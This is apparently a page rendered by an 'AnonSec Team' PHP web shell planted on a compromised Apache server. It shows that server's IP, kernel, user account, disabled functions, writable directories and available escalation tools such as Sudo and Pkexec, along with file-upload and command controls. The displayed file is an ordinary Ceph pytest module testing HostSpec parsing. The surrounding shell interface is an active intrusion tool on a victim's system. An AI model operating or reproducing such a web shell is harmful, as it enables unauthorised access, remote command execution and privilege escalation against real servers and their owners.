NICH
Server IP : 127.0.1.1  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux bahcrestlinepropertiesllc 5.15.0-181-generic #191-Ubuntu SMP Fri May 22 19:09:02 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/lxd/current/lib/python3/dist-packages/ceph/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /snap/lxd/current/lib/python3/dist-packages/ceph/tests/test_hostspec.py
# flake8: noqa
import json
import yaml

import pytest

from ceph.deployment.hostspec import HostSpec, SpecValidationError


@pytest.mark.parametrize(
    "test_input,expected",
    [
        ({"hostname": "foo"}, HostSpec('foo')),
        ({"hostname": "foo", "labels": "l1"}, HostSpec('foo', labels=['l1'])),
        ({"hostname": "foo", "labels": ["l1", "l2"]}, HostSpec('foo', labels=['l1', 'l2'])),
        ({"hostname": "foo", "location": {"rack": "foo"}}, HostSpec('foo', location={'rack': 'foo'})),
    ]
)
def test_parse_host_specs(test_input, expected):
    hs = HostSpec.from_json(test_input)
    assert hs == expected


@pytest.mark.parametrize(
    "bad_input",
    [
        ({"hostname": "foo", "labels": 124}),
        ({"hostname": "foo", "labels": {"a", "b"}}),
        ({"hostname": "foo", "labels": {"a", "b"}}),
        ({"hostname": "foo", "labels": ["a", 2]}),
        ({"hostname": "foo", "location": "rack=bar"}),
        ({"hostname": "foo", "location": ["a"]}),
        ({"hostname": "foo", "location": {"rack", 1}}),
        ({"hostname": "foo", "location": {1: "rack"}}),
    ]
)
def test_parse_host_specs(bad_input):
    with pytest.raises(SpecValidationError):
        hs = HostSpec.from_json(bad_input)
    

Anon7 - 2022
AnonSec Team